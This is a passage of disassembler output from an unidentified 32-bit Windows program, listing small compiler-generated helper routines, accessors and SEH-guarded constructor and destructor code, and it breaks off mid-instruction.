proc near ; CODE XREF: sub_401C8Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015AF sub_4160C0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4160D5 mov edi, esi loc_4160D5: ; CODE XREF: ___:004160D1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_4160EA mov edi, esi loc_4160EA: ; CODE XREF: ___:004160E6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416110 proc near ; CODE XREF: sub_401E33j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416110 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416130 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416150 proc near ; CODE XREF: sub_402144j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416150 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416170 proc near ; CODE XREF: sub_401E97j mov eax, ecx retn sub_416170 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416190 proc near ; CODE XREF: sub_401CDAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018C5 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4161C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161F0 proc near ; CODE XREF: sub_401EC4j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4161F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416220 proc near ; CODE XREF: sub_401D11j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017DF mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DB6 sub_416220 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017DF push edi mov [eax], ebx call sub_4017DF mov edi, [eax] push edi call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017E4 add esp, 4 mov ecx, esi push eax call sub_401E15 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D7A mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4162C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EBF mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BCC push esi mov ebx, eax call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [ebx] push esi mov [eax], edx call sub_4017DF push esi mov ebx, eax call sub_401BCC mov eax, [eax] push eax call sub_4017DF mov ecx, [ebx] push esi mov [eax], ecx call sub_4017E4 add esp, 1Ch mov ecx, edi push eax call sub_401401 push esi mov ecx, edi call sub_401F14 sub_4162C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_40140Bj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4163DA loc_416398: ; CODE XREF: sub_416380+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EBF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416398 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_416380+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416380 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416410 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401EBA sub_416410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416425 mov edi, esi loc_416425: ; CODE XREF: ___:00416421j push esi call sub_401BCC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41643A mov edi, esi loc_41643A: ; CODE XREF: ___:00416436j push esi call sub_4017DF add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416460 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401866 sub_416460 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416480 proc near ; CODE XREF: sub_401BCCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416480 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164A0 proc near ; CODE XREF: sub_4017E4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4164A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164C0 proc near ; CODE XREF: sub_401E42j mov eax, ecx retn sub_4164C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_401D7Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401618 mov eax, esi pop esi retn 4 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416510 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416540 proc near ; CODE XREF: sub_401456j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416590 proc near ; CODE XREF: sub_4020F4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4165C0 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4165C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165E0 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4165E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416610 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416610 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416630 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416630 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416650 proc near ; CODE XREF: sub_401A5Fj mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_416650 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416670 proc near ; CODE XREF: sub_40210Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166A0 proc near ; CODE XREF: sub_401CBCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E74 neg al sbb eax, eax inc eax retn 4 sub_4166A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401C62j mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_4015AFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_4015F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40205E add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_401D61j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_401F8Cj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_4017DFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4167F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416810 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416810 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416840 proc near ; CODE XREF: sub_401866j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416840 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416860 proc near ; CODE XREF: sub_401E15j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020EA add esp, 8 retn 8 sub_416860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416890 proc near ; CODE XREF: sub_401401j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416890 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168B0 proc near ; CODE XREF: sub_401618j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4168B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4168D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168F0 proc near ; CODE XREF: sub_401E74j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4168F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416920 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41693B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41693B: ; CODE XREF: sub_416920+11j retn sub_416920 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416970 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41698B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41698B: ; CODE XREF: sub_416970+11j retn sub_416970 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4169C0 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4169DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4169DB: ; CODE XREF: sub_4169C0+11j retn sub_4169C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜθ',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 416A7068h, 115CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh) dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416A90: ; CODE XREF: ___:00401C58j push 0FFFFFFFFh push offset loc_43B2E1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021FD ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401F00 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_401776 lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_402013 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401E06 lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_401889 lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F46 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B3B lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017DA lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018D9 lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401ECE lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402239 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017AD lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A32 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C5 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401EA1 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014FB lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AFA ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401CA3 ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401938 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_401447 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D00 proc near ; CODE XREF: sub_401A32j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43F050 test eax, eax jle short loc_416D17 push eax nop call near ptr 71AB9639h loc_416D17: ; CODE XREF: sub_416D00+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D30 proc near ; CODE XREF: ___:0040126Cj sub_4019CEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A32 test [esp+4+arg_0], 1 jz short loc_416D48 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416D48: ; CODE XREF: sub_416D30+Dj mov eax, esi pop esi retn 4 sub_416D30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D60 proc near ; CODE XREF: sub_4017ADj push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43F05C test eax, eax jle short loc_416D77 push eax nop call near ptr 71AB9639h loc_416D77: ; CODE XREF: sub_416D60+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D90: ; CODE XREF: ___:00401631j ; ___:loc_401CADj push esi mov esi, ecx call sub_4017AD test byte ptr [esp+8], 1 jz short loc_416DA8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DA8: ; CODE XREF: ___:00416D9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416DC0 proc near ; CODE XREF: sub_401776j mov dword ptr [ecx], offset off_43F068 jmp sub_40204F sub_416DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416DE0: ; CODE XREF: ___:loc_401929j ; ___:004021ADj push esi mov esi, ecx call sub_401776 test byte ptr [esp+8], 1 jz short loc_416DF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DF8: ; CODE XREF: ___:00416DEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_401889j mov dword ptr [ecx], offset off_43F074 add ecx, 4 jmp sub_401023 sub_416E10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416E30: ; CODE XREF: ___:00401E60j push 0FFFFFFFFh push offset loc_43B4C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_4020BD ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015E6 lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_402018 ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_401A00 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_401587 lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_40164F lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401780 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_40169F lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_40182F lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016BD lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_40141F lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D25 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A91 lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CB7 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402121 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_40157D lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_401799 lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_40142E lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_40142E lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_40142E lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_40142E lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401B0E ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4170B0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4170B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B1D sub_4170B0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417120 proc near ; CODE XREF: sub_401938j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40208B lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40208B lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40208B lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40208B lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40208B mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 